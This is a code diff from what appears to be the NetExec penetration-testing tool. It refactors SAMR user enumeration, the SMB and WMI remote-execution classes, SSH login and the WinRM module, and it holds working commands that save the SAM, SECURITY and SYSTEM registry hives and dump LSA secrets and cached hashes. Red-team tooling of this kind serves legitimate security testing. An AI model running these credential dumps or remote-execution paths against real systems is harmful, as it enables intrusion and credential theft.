+        self.dce = DCERPC_v5(self.rpc_transport)
+        self.dce.connect()
+        self.dce.bind(samr.MSRPC_UUID_SAMR)
 
         # Setup Connection
-        resp = samr.hSamrConnect2(dce)
+        resp = samr.hSamrConnect2(self.dce)
         if resp["ErrorCode"] != 0:
             raise Exception("Connect error")
 
         resp2 = samr.hSamrEnumerateDomainsInSamServer(
-            dce,
+            self.dce,
             serverHandle=resp["ServerHandle"],
             enumerationContext=0,
             preferedMaximumLength=500,
@@ -84,7 +79,7 @@ class UserSamrDump:
             raise Exception("Connect error")
 
         resp3 = samr.hSamrLookupDomainInSamServer(
-            dce,
+            self.dce,
             serverHandle=resp["ServerHandle"],
             name=resp2["Buffer"]["Buffer"][0]["Name"],
         )
@@ -92,7 +87,7 @@ class UserSamrDump:
             raise Exception("Connect error")
 
         resp4 = samr.hSamrOpenDomain(
-            dce,
+            self.dce,
             serverHandle=resp["ServerHandle"],
             desiredAccess=samr.MAXIMUM_ALLOWED,
             domainId=resp3["DomainId"],
@@ -101,28 +96,84 @@ class UserSamrDump:
             raise Exception("Connect error")
 
         self.__domains = resp2["Buffer"]["Buffer"]
-        domainHandle = resp4["DomainHandle"]
+        domain_handle = resp4["DomainHandle"]
         # End Setup
 
-        status = STATUS_MORE_ENTRIES
-        enumerationContext = 0
-        while status == STATUS_MORE_ENTRIES:
+        if requested_users:
+            self.logger.debug(f"Looping through users requested and looking up their information: {requested_users}")
             try:
-                resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext=enumerationContext)
+                names_lookup_resp = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, requested_users)
+                rids = [r["Data"] for r in names_lookup_resp["RelativeIds"]["Element"]]
+                self.logger.debug(f"Specific RIDs retrieved: {rids}")
+                users = self.get_user_info(domain_handle, rids)
             except DCERPCException as e:
-                if str(e).find("STATUS_MORE_ENTRIES") < 0:
-                    self.logger.fail("Error enumerating domain user(s)")
-                    break
-                resp = e.get_packet()
-            self.logger.success("Enumerated domain user(s)")
-            for user in resp["Buffer"]["Buffer"]:
-                r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
-                info_user = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation)["Buffer"]["All"]["AdminComment"]
-                self.logger.highlight(f"{self.domain}\\{user['Name']:<30} {info_user}")
-                self.users.append(user["Name"])
-                samr.hSamrCloseHandle(dce, r["UserHandle"])
+                self.logger.debug(f"Exception while requesting users in domain: {e}")
+                if "STATUS_SOME_NOT_MAPPED" in str(e):
+                    # which user is not translated correctly isn't returned so we can't tell the user which is failing, which is very annoying
+                    self.logger.fail("One of the users requested does not exist in the domain, causing a critical failure during translation, re-check the users and try again")
+                else:
+                    self.logger.fail(f"Error occurred when looking up users in domain: {e}")
+        else:
+            status = STATUS_MORE_ENTRIES
+            enumerationContext = 0
+            while status == STATUS_MORE_ENTRIES:
+                try:
+                    enumerate_users_resp = samr.hSamrEnumerateUsersInDomain(self.dce, domain_handle, enumerationContext=enumerationContext)
+                except DCERPCException as e:
+                    if str(e).find("STATUS_MORE_ENTRIES") < 0:
+                        self.logger.fail("Error enumerating domain user(s)")
+                        break
+                    enumerate_users_resp = e.get_packet()
 
-            enumerationContext = resp["EnumerationContext"]
-            status = resp["ErrorCode"]
+                rids = [r["RelativeId"] for r in enumerate_users_resp["Buffer"]["Buffer"]]
+                self.logger.debug(f"Full domain RIDs retrieved: {rids}")
+                users = self.get_user_info(domain_handle, rids)
 
-        dce.disconnect()
+                # set these for the while loop
+                enumerationContext = enumerate_users_resp["EnumerationContext"]
+                status = enumerate_users_resp["ErrorCode"]
+        self.print_user_info(users)
+        self.dce.disconnect()
+
+    def get_user_info(self, domain_handle, user_ids):
+        self.logger.debug(f"Getting user info for users: {user_ids}")
+        users = []
+
+        for user in user_ids:
+            self.logger.debug(f"Calling hSamrOpenUser for RID {user}")
+            open_user_resp = samr.hSamrOpenUser(
+                self.dce,
+                domain_handle,
+                samr.MAXIMUM_ALLOWED,
+                user
+            )
+            info_user_resp = samr.hSamrQueryInformationUser2(
+                self.dce,
+                open_user_resp["UserHandle"],
+                samr.USER_INFORMATION_CLASS.UserAllInformation
+            )["Buffer"]
+
+            user_info = info_user_resp["All"]
+            user_name = user_info["UserName"]
+            bad_pwd_count = user_info["BadPasswordCount"]
+            user_description = user_info["AdminComment"]
+            last_pw_set = old_large_int_to_datetime(user_info["PasswordLastSet"])
+            if last_pw_set == "1601-01-01 00:00:00":
+                last_pw_set = "<never>"
+            users.append({"name": user_name, "description": user_description, "bad_pwd_count": bad_pwd_count, "last_pw_set": last_pw_set})
+
+            samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
+        return users
+
+    def print_user_info(self, users):
+        self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
+        for user in users:
+            self.logger.debug(f"Full user info: {user}")
+            self.logger.highlight(f"{user['name']:<30}{user['last_pw_set']:<20}{user['bad_pwd_count']:<8}{user['description']} ")
+
+
+def old_large_int_to_datetime(large_int):
+    combined = (large_int["HighPart"] << 32) | large_int["LowPart"]
+    timestamp_seconds = combined / 10**7
+    start_date = datetime(1601, 1, 1)
+    return (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")

nxc/protocols/smb/smbexec.py

@@ -7,9 +7,9 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 
 
 class SMBEXEC:
-    def __init__(self, host, share_name, smbconnection, protocol, username="", password="", domain="", doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
+    def __init__(self, host, share_name, smbconnection, username="", password="", domain="", doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
         self.__host = host
-        self.__share_name = "C$"
+        self.__share_name = share_name
         self.__port = port
         self.__username = username
         self.__password = password
@@ -26,9 +26,9 @@ class SMBEXEC:
         self.__retOutput = False
         self.__rpctransport = None
         self.__scmr = None
-        self.__conn = None
         self.__aesKey = aesKey
         self.__doKerberos = doKerberos
+        self.__remoteHost = remoteHost
         self.__kdcHost = kdcHost
         self.__tries = tries
         self.logger = logger
@@ -49,7 +49,8 @@ class SMBEXEC:
         self.__rpctransport.set_dport(self.__port)
 
         if hasattr(self.__rpctransport, "setRemoteHost"):
-            self.__rpctransport.setRemoteHost(self.__host)
+            self.__rpctransport.setRemoteHost(self.__remoteHost)
+
         if hasattr(self.__rpctransport, "set_credentials"):
             # This method exists only for selected protocol sequences.
             self.__rpctransport.set_credentials(
@@ -92,7 +93,7 @@ class SMBEXEC:
         self.__output = gen_random_string(6)
         self.__batchFile = gen_random_string(6) + ".bat"
 
-        command = self.__shell + "echo " + data + f" ^> \\\\127.0.0.1\\{self.__share_name}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
+        command = self.__shell + "echo " + data + f" ^> \\\\%COMPUTERNAME%\\{self.__share}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
 
         with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
             batch_file.write(command)

nxc/protocols/smb/wmiexec.py

@@ -9,7 +9,7 @@ from impacket.dcerpc.v5.dtypes import NULL
 
 
 class WMIEXEC:
-    def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
+    def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
         self.__target = target
         self.__username = username
         self.__password = password
@@ -26,6 +26,7 @@ class WMIEXEC:
         self.__pwd = "C:\\"
         self.__aesKey = aesKey
         self.__kdcHost = kdcHost
+        self.__remoteHost = remoteHost
         self.__doKerberos = doKerberos
         self.__retOutput = True
         self.__stringBinding = ""
@@ -52,9 +53,10 @@ class WMIEXEC:
             oxidResolver=True,
             doKerberos=self.__doKerberos,
             kdcHost=self.__kdcHost,
+            remoteHost=self.__remoteHost,
         )
         iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
-        flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
+        flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
         if not flag or not self.__stringBinding:
             error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
 

nxc/protocols/ssh.py

@@ -4,7 +4,6 @@ import uuid
 import logging
 import time
 
-from io import StringIO
 from nxc.config import process_secret
 from nxc.connection import connection, highlight
 from nxc.logger import NXCAdapter
@@ -20,7 +19,7 @@ class ssh(connection):
         self.protocol = "SSH"
         self.remote_version = "Unknown SSH Version"
         self.server_os_platform = "Linux"
-        self.user_principal = "root"
+        self.uac = ""
         super().__init__(args, db, host)
 
     def proto_flow(self):
@@ -182,26 +181,20 @@ class ssh(connection):
                 self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed")
                 return
 
-    def plaintext_login(self, username, password, private_key=None):
+    def plaintext_login(self, username, password, private_key=""):
         self.username = username
         self.password = password
-        private_key = ""
         stdout = None
         try:
             if self.args.key_file or private_key:
-                self.logger.debug("Logging in with key")
+                self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
 
-                if self.args.key_file:
-                    with open(self.args.key_file) as f:
-                        private_key = f.read()
-
-                pkey = paramiko.RSAKey.from_private_key(StringIO(private_key))
                 self.conn.connect(
                     self.host,
                     port=self.port,
                     username=username,
                     passphrase=password if password != "" else None,
-                    pkey=pkey,
+                    key_filename=private_key if private_key else self.args.key_file,
                     look_for_keys=False,
                     allow_agent=False,
                 )
@@ -228,13 +221,15 @@ class ssh(connection):
             # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
             _, stdout, _ = self.conn.exec_command("id")
             stdout = stdout.read().decode(self.args.codec, errors="ignore")
-        except Exception as e:
-            if self.args.key_file:
-                password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
-            if "OpenSSH private key file checkints do not match" in str(e):
-                self.logger.fail(f"{username}:{password} - Could not decrypt key file, wrong password")
+        except AuthenticationException:
+            self.logger.fail(f"{username}:{process_secret(password)}")
+        except SSHException as e:
+            if "Invalid key" in str(e):
+                self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}")
             else:
-                self.logger.fail(f"{username}:{password} {e}")
+                self.logger.exception(e)
+        except Exception as e:
+            self.logger.exception(e)
             self.conn.close()
             return False
         else:
@@ -245,15 +240,11 @@ class ssh(connection):
                 _, stdout, _ = self.conn.exec_command("whoami /priv")
                 stdout = stdout.read().decode(self.args.codec, errors="ignore")
                 self.server_os_platform = "Windows"
-                self.user_principal = "admin"
                 if "SeDebugPrivilege" in stdout:
                     self.admin_privs = True
                 elif "SeUndockPrivilege" in stdout:
                     self.admin_privs = True
-                    self.user_principal = "admin (UAC)"
-                else:
-                    # non admin (low priv)
-                    self.user_principal = "admin (low priv)"
+                    self.uac = "with UAC - "
 
             if not stdout:
                 self.logger.debug(f"User: {self.username} can't get a basic shell")
@@ -271,23 +262,13 @@ class ssh(connection):
                     if self.args.key_file:
                         self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id)
                     else:
-                        self.db.add_admin_user(
-                            "plaintext",
-                            username,
-                            password,
-                            host_id=host_id,
-                            cred_id=cred_id,
-                        )
+                        self.db.add_admin_user("plaintext", username, password, host_id=host_id, cred_id=cred_id)
 
             if self.args.key_file:
                 password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
 
-            display_shell_access = "{} {} {}".format(
-                f"({self.user_principal})" if self.admin_privs else f"(non {self.user_principal})",
-                self.server_os_platform,
-                "- Shell access!" if shell_access else ""
-            )
-            self.logger.success(f"{username}:{password} {self.mark_pwned()} {highlight(display_shell_access)}")
+            display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if shell_access else ''}"
+            self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}")
 
             return True
 

nxc/protocols/ssh/database.py

@@ -99,7 +99,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )

nxc/protocols/vnc/database.py

@@ -62,7 +62,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )

nxc/protocols/winrm.py

@@ -1,9 +1,7 @@
-import binascii
-import hashlib
 import os
+import base64
 import requests
 import urllib3
-import contextlib
 import logging
 import xml.etree.ElementTree as ET
 
@@ -12,22 +10,23 @@ from datetime import datetime
 from pypsrp.wsman import NAMESPACES
 from pypsrp.client import Client
 
-from impacket.smbconnection import SMBConnection
 from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes
 
 from nxc.config import process_secret
 from nxc.connection import connection
 from nxc.helpers.bloodhound import add_user_bh
 from nxc.helpers.misc import gen_random_string
-from nxc.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
+from nxc.helpers.ntlm_parser import parse_challenge
 from nxc.logger import NXCAdapter
 
 
 urllib3.disable_warnings()
 
+
 class winrm(connection):
     def __init__(self, args, db, host):
-        self.domain = None
+        self.domain = ""
+        self.targedDomain = ""
         self.server_os = None
         self.output_filename = None
         self.endpoint = None
@@ -35,10 +34,12 @@ class winrm(connection):
         self.lmhash = ""
         self.nthash = ""
         self.ssl = False
+        self.challenge_header = None
 
         connection.__init__(self, args, db, host)
 
     def proto_logger(self):
+        # For more details, please check the function "print_host_info"
         logging.getLogger("pypsrp").disabled = True
         logging.getLogger("pypsrp.wsman").disabled = True
         self.logger = NXCAdapter(
@@ -51,141 +52,26 @@ class winrm(connection):
         )
 
     def enum_host_info(self):
-        # smb no open, specify the domain
-        if self.args.no_smb:
-            self.domain = self.args.domain
-        else:
-            try:
-                smb_conn = SMBConnection(self.host, self.host, None, timeout=5)
-                no_ntlm = False
-            except Exception as e:
-                self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
-            else:
-                try:
-                    smb_conn.login("", "")
-                except BrokenPipeError:
-                    self.logger.fail("Broken Pipe Error while attempting to login")
-                except Exception as e:
-                    if "STATUS_NOT_SUPPORTED" in str(e):
-                        # no ntlm supported
-                        no_ntlm = True
+        ntlm_info = parse_challenge(base64.b64decode(self.challenge_header.split(" ")[1].replace(",", "")))
+        self.targetDomain = self.domain = ntlm_info["domain"]
+        self.hostname = ntlm_info["hostname"]
+        self.server_os = ntlm_info["os_version"]
+        self.logger.extra["hostname"] = self.hostname
 
-                self.domain = smb_conn.getServerDNSDomainName() if not no_ntlm else self.args.domain
-                self.hostname = smb_conn.getServerName() if not no_ntlm else self.host
-                self.server_os = smb_conn.getServerOS()
-                if isinstance(self.server_os.lower(), bytes):
-                    self.server_os = self.server_os.decode("utf-8")
-
-                self.logger.extra["hostname"] = self.hostname
-
-                self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
-
-                with contextlib.suppress(Exception):
-                    smb_conn.logoff()
-
-                self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
+        self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os)
 
         if self.args.domain:
             self.domain = self.args.domain
-
         if self.args.local_auth:
             self.domain = self.hostname
-        
-        if self.domain is None:
-            self.domain = ""
-        
+
         self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
 
-    def laps_search(self, username, password, ntlm_hash, domain):
-        ldapco = LDAPConnect(self.domain, "389", self.domain)
-
-        if self.kerberos:
-            if self.kdcHost is None:
-                self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
-                return False
-
-            connection = ldapco.kerberos_login(
-                domain,
-                username[0] if username else "",
-                password[0] if password else "",
-                ntlm_hash[0] if ntlm_hash else "",
-                kdcHost=self.kdcHost,
-                aesKey=self.aesKey,
-            )
-        else:
-            connection = ldapco.auth_login(
-                domain,
-                username[0] if username else "",
-                password[0] if password else "",
-                ntlm_hash[0] if ntlm_hash else "",
-            )
-        if not connection:
-            self.logger.fail(f"LDAP connection failed with account {username[0]}")
-            return False
-
-        search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
-        attributes = [
-            "msLAPS-EncryptedPassword",
-            "msLAPS-Password",
-            "ms-MCS-AdmPwd",
-            "sAMAccountName",
-        ]
-        results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
-
-        msMCSAdmPwd = ""
-        sAMAccountName = ""
-        username_laps = ""
-
-        from impacket.ldap import ldapasn1 as ldapasn1_impacket
-
-        results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
-        if len(results) != 0:
-            for host in results:
-                values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]}
-                if "mslaps-encryptedpassword" in values:
-                    from json import loads
-
-                    msMCSAdmPwd = values["mslaps-encryptedpassword"]
-                    d = LAPSv2Extract(bytes(msMCSAdmPwd), username[0] if username else "", password[0] if password else "", domain, ntlm_hash[0] if ntlm_hash else "", self.args.kerberos, self.args.kdcHost, 339)
-                    data = d.run()
-                    r = loads(data)
-                    msMCSAdmPwd = r["p"]
-                    username_laps = r["n"]
-                elif "mslaps-password" in values:
-                    from json import loads
-
-                    r = loads(str(values["mslaps-password"]))
-                    msMCSAdmPwd = r["p"]
-                    username_laps = r["n"]
-                elif "ms-mcs-admpwd" in values:
-                    msMCSAdmPwd = str(values["ms-mcs-admpwd"])
-                else:
-                    self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
-            self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
-        else:
-            self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
-            return False
-
-        self.username = username_laps if username_laps else self.args.laps
-        self.password = msMCSAdmPwd
-
-        if msMCSAdmPwd == "":
-            self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
-            return False
-        if ntlm_hash:
-            hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
-            self.hash = binascii.hexlify(hash_ntlm).decode()
-
-        self.domain = self.hostname
-        return True
-
     def print_host_info(self):
         self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM"
         self.logger.extra["port"] = self.port
-        self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
+        self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
 
-        if self.args.laps:
-            return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
         return True
 
     def create_conn_obj(self):
@@ -195,6 +81,14 @@ class winrm(connection):
 
         endpoints = {}
 
+        headers = {
+            "Content-Length": "0",
+            "Keep-Alive": "true",
+            "Content-Type": "application/soap+xml;charset=UTF-8",
+            "User-Agent": "Microsoft WinRM Client",
+            "Authorization": "Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="
+        }
+
         for protocol in self.args.check_proto:
             endpoints[protocol] = {}
             endpoints[protocol]["port"] = self.port[self.args.check_proto.index(protocol)] if len(self.port) == 2 else self.port[0]
@@ -209,8 +103,12 @@ class winrm(connection):
             self.port = endpoints[protocol]["port"]
             try:
                 self.logger.debug(f"Requesting URL: {endpoints[protocol]['url']}")
-                res = requests.post(endpoints[protocol]["url"], verify=False, timeout=self.args.http_timeout) 
+                res = requests.post(endpoints[protocol]["url"], headers=headers, verify=False, timeout=self.args.http_timeout)
                 self.logger.debug(f"Received response code: {res.status_code}")
+                self.challenge_header = res.headers["WWW-Authenticate"]
+                if (not self.challenge_header) or ("Negotiate" not in self.challenge_header):
+                    self.logger.info('Failed to get NTLM challenge from target "/wsman" endpoint, maybe isn\'t winrm service.')
+                    return False
                 self.endpoint = endpoints[protocol]["url"]
                 self.ssl = endpoints[protocol]["ssl"]
                 return True
@@ -222,7 +120,7 @@ class winrm(connection):
                 else:
                     self.logger.info(f"Other ConnectionError to WinRM service: {e}")
         return False
-    
+
     def check_if_admin(self):
         wsman = self.conn.wsman
         wsen = NAMESPACES["wsen"]
@@ -235,12 +133,11 @@ class winrm(connection):
         wsman.enumerate("http://schemas.microsoft.com/wbem/wsman/1/windows/shell", enum_msg)
         self.admin_privs = True
         return True
-        
+
     def plaintext_login(self, domain, username, password):
         self.admin_privs = False
-        if not self.args.laps:
-            self.password = password
-            self.username = username
+        self.password = password
+        self.username = username
         self.domain = domain
         try:
             self.conn = Client(
@@ -265,7 +162,7 @@ class winrm(connection):
                 self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host)  # , user_id=user_id)
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
 
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             return True
         except Exception as e:
@@ -279,15 +176,13 @@ class winrm(connection):
         self.admin_privs = False
         lmhash = "00000000000000000000000000000000"
         nthash = ""
-        if not self.args.laps:
-            self.username = username
-            # This checks to see if we didn't provide the LM Hash
-            if ntlm_hash.find(":") != -1:
-                lmhash, nthash = ntlm_hash.split(":")
-            else:
-                nthash = ntlm_hash
+        self.username = username
+        # This checks to see if we didn't provide the LM Hash
+        if ntlm_hash.find(":") != -1:
+            lmhash, nthash = ntlm_hash.split(":")
         else:
-            nthash = self.hash
+            nthash = ntlm_hash
+
         self.lmhash = lmhash
         self.nthash = nthash
         self.domain = domain
@@ -310,7 +205,7 @@ class winrm(connection):
                 self.db.add_admin_user("hash", domain, self.username, nthash, self.host)
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
 
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             return True
 
@@ -334,7 +229,7 @@ class winrm(connection):
             # Reference: https://github.com/diyan/pywinrm/issues/275
             if hasattr(e, "code") and e.code == 5:
                 self.logger.fail(f"Execute command failed, current user: '{self.domain}\\{self.username}' has no 'Invoke' rights to execute command (shell type: {shell_type})")
-                
+
                 if shell_type == "cmd":
                     self.logger.info("Cannot execute command via cmd, the user probably does not have invoke rights with Root WinRM listener - now switching to Powershell to attempt execution")
                     self.execute(payload, get_output, shell_type="powershell")
@@ -360,7 +255,7 @@ class winrm(connection):
     def sam(self):
         sam_storename = gen_random_string(6)
         system_storename = gen_random_string(6)
-        dump_command = f"reg save HKLM\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\SYSTEM C:\\windows\\temp\\{system_storename}"
+        dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
         clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
         try:
             self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
@@ -389,7 +284,7 @@ class winrm(connection):
     def lsa(self):
         security_storename = gen_random_string(6)
         system_storename = gen_random_string(6)
-        dump_command = f"reg save HKLM\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\SYSTEM C:\\windows\\temp\\{system_storename}"
+        dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
         clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
         try:
             self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
@@ -414,4 +309,4 @@ class winrm(connection):
                 perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
             )
             LSA.dumpCachedHashes()
-            LSA.dumpSecrets()
+            LSA.dumpSecrets()

nxc/protocols/winrm/database.py

@@ -82,7 +82,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )

nxc/protocols/winrm/proto_args.py

@@ -1,6 +1,3 @@
-from argparse import _StoreTrueAction
-
-
 def proto_args(parser, std_parser, module_parser):
     winrm_parser = parser.add_parser("winrm", help="own stuff using WINRM", parents=[std_parser, module_parser])
     winrm_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
@@ -9,18 +6,15 @@ def proto_args(parser, std_parser, module_parser):
     winrm_parser.add_argument("--check-proto", nargs="+", default=["http", "https"], help="Choose what prorocol you want to check, default is %(default)s, format: 'http https'(with space separated) or 'single-protocol'")
     winrm_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
     winrm_parser.add_argument("--http-timeout", dest="http_timeout", type=int, default=10, help="HTTP timeout for WinRM connections")
-    no_smb_arg = winrm_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
 
     dgroup = winrm_parser.add_mutually_exclusive_group()
-    domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
+    dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
     dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
-    no_smb_arg.make_required = [domain_arg]
 
     cgroup = winrm_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
     cgroup.add_argument("--dump-method", action="store", default="cmd", choices={"cmd", "powershell"}, help="Select shell type in hashes dump")
-    cegroup = cgroup.add_mutually_exclusive_group()
-    cegroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
-    cegroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
+    cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
+    cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
 
     cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
     cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
@@ -29,18 +23,3 @@ def proto_args(parser, std_parser, module_parser):
     cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
 
     return parser
-
-
-def get_conditional_action(baseAction):
-    class ConditionalAction(baseAction):
-        def __init__(self, option_strings, dest, **kwargs):
-            x = kwargs.pop("make_required", [])
-            super().__init__(option_strings, dest, **kwargs)
-            self.make_required = x
-
-        def __call__(self, parser, namespace, values, option_string=None):
-            for x in self.make_required:
-                x.required = True
-            super().__call__(parser, namespace, values, option_string)
-
-    return ConditionalAction